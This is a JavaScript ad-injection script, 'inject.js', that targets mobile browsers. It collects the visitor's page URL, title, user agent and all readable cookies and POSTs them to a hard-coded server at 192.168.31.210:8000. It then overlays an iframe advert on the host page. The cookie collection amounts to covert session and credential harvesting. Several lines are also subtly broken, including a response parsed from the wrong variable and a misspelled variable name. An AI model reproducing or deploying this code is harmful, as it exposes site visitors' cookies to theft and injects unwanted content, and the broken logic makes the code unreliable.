inject.js 6.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152
  1. window.SpecInject = {};
  2. (function(){
  3. //Change File Name
  4. var protocol = ('https:'==window.location.protocol)?'https://':'http://';
  5. var requestURL = protocol+'192.168.31.210:8000/post';
  6. var __FILENAME__ = 'inject.js'
  7. var __FILE__, scripts = document.getElementsByTagName("script");
  8. for(var i=0;i<scripts.length;i++){
  9. var src =scripts.item(i).getAttribute("src");
  10. if(src&&src.match(__FILENAME__)){
  11. __FILE__=src;break;
  12. }
  13. }
  14. if(!__FILE__) return;
  15. var attribute = __FILE__.split('?')[1];
  16. if(!attribute) return;
  17. attribute = attribute.split('&');
  18. var tmpObj = {};
  19. for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
  20. //Params
  21. var ADID = tmpObj['mediakey'],
  22. ADTYPE = tmpObj['type'],
  23. ADPos = Number(tmpObj['position']),ADRatio=6.4,ADURL;
  24. if(!ADID || !ADTYPE) return;
  25. var browser={
  26. versions:function(){
  27. var u = navigator.userAgent, app = navigator.appVersion;
  28. return {
  29. mobile: !!u.match(/AppleWebKit.*Mobile.*/),
  30. ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
  31. android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1,
  32. iPhone: u.indexOf('iPhone') > -1,
  33. iPad: u.indexOf('iPad') > -1,
  34. webApp: u.indexOf('Safari') == -1,
  35. weixin: u.indexOf('MicroMessenger') > -1,
  36. version:u.match(/Version\/(\d+\.+\d+)/)[1]
  37. };
  38. }(),
  39. language:(navigator.browserLanguage || navigator.language).toLowerCase()
  40. }
  41. if(!browser.versions.mobile) return;
  42. var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
  43. var xmlhttp;
  44. xmlhttp = new XMLHttpRequest();
  45. var getJSADParam = {
  46. mediatitle:document.querySelector('title').innerHTML,
  47. mediakeyword:keywords?keywords.getAttribute('content'):'',
  48. mediaurl:window.location.href,
  49. mediakey:ADID,
  50. tertype:browser.versions.ios?1:browser.versions.android?0:2,
  51. useragent:navigator.userAgent,
  52. browserversion:browser.versions.version,
  53. browserlanguage:browser.language,
  54. cookies:JSON.stringify(getCookies())
  55. }
  56. function parseData(obj){
  57. var formData = new FormData();
  58. for(var attr in obj){
  59. formData.append(attr,obj[attr]);
  60. }
  61. return formData;
  62. }
  63. function getADHandler(data){
  64. if(data.status!=1) return;
  65. data = data.data;
  66. if(!data.adurl) return;
  67. ADURL = data.adurl;
  68. ADRatio = data.ratio;
  69. var opt = getTypeOption();
  70. var style = document.createElement('style');
  71. style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
  72. var script = document.createElement('script');
  73. script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
  74. var doms = document.createElement('div');
  75. doms.id = '__ADInject__';
  76. doms.setStyle = opt.style;
  77. doms.className = opt.class;
  78. doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+ADURL+'" />';
  79. document.body.appendChild(style);
  80. document.body.appendChild(script);
  81. document.body.appendChild(doms);
  82. }
  83. function getTypeOption(){
  84. var opt = {style:''};
  85. switch(ADTYPE){
  86. case 'banner':
  87. opt.class = ADPos=='1'?'top':'bottom';
  88. opt.width = document.body.clientWidth;
  89. break;
  90. case 'spot_rect':
  91. case 'spot_rounded_rect':
  92. opt.class = 'spot'+ADTYPE=='spot_rounded_rect'?' radius':'';
  93. opt.width = document.body.clientWidth-40;
  94. }
  95. opt.height = opt.width/ADRatio;
  96. opt.style = 'width:'+opt.width+';height:'+opt.height;
  97. return opt;
  98. }
  99. //Ajax Post
  100. function post(URL,data,callback){
  101. xmlhttp.open("POST",URL);
  102. xmlhttp.onreadystatechange = function() {
  103. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  104. var reponse = null;
  105. if(xmlhttp.responseText){
  106. try{
  107. response = JSON.parse(callback);
  108. }catch(e){log(e)}
  109. }
  110. callback(response);
  111. }
  112. }
  113. xmlhttp.send(data);
  114. }
  115. //COOKIES get & set
  116. function getCookie(c_name){
  117. if (document.cookie.length>0){
  118. c_start=document.cookie.indexOf(c_name + "=");
  119. if (c_start!=-1){
  120. c_start=c_start + c_name.length+1;
  121. c_end=document.cookie.indexOf(";",c_start);
  122. if (c_end==-1) c_end=document.cookie.length;
  123. return unescape(document.cookie.substring(c_start,c_end));
  124. }
  125. }
  126. return null;
  127. }
  128. function getCookies(){
  129. var obj = {};
  130. if (document.cookie.length>0){
  131. var cookie = document.cookie.split('; ');
  132. for(var i in cookie){
  133. var par = cookie[i].split('=');
  134. obj[par[0]] = par[1];
  135. }
  136. }
  137. return obj;
  138. }
  139. function setCookie(c_name,c_value,c_exp){
  140. var exp = c_exp?';expires='+c_exp:'';
  141. document.cookie = c_name+'='+c_value+exp+';path=/';
  142. }
  143. post(requestURL,parseData(getJSADParam),getADHandler);
  144. window.SpecInject.prototype.feedback = function(action){
  145. }
  146. })();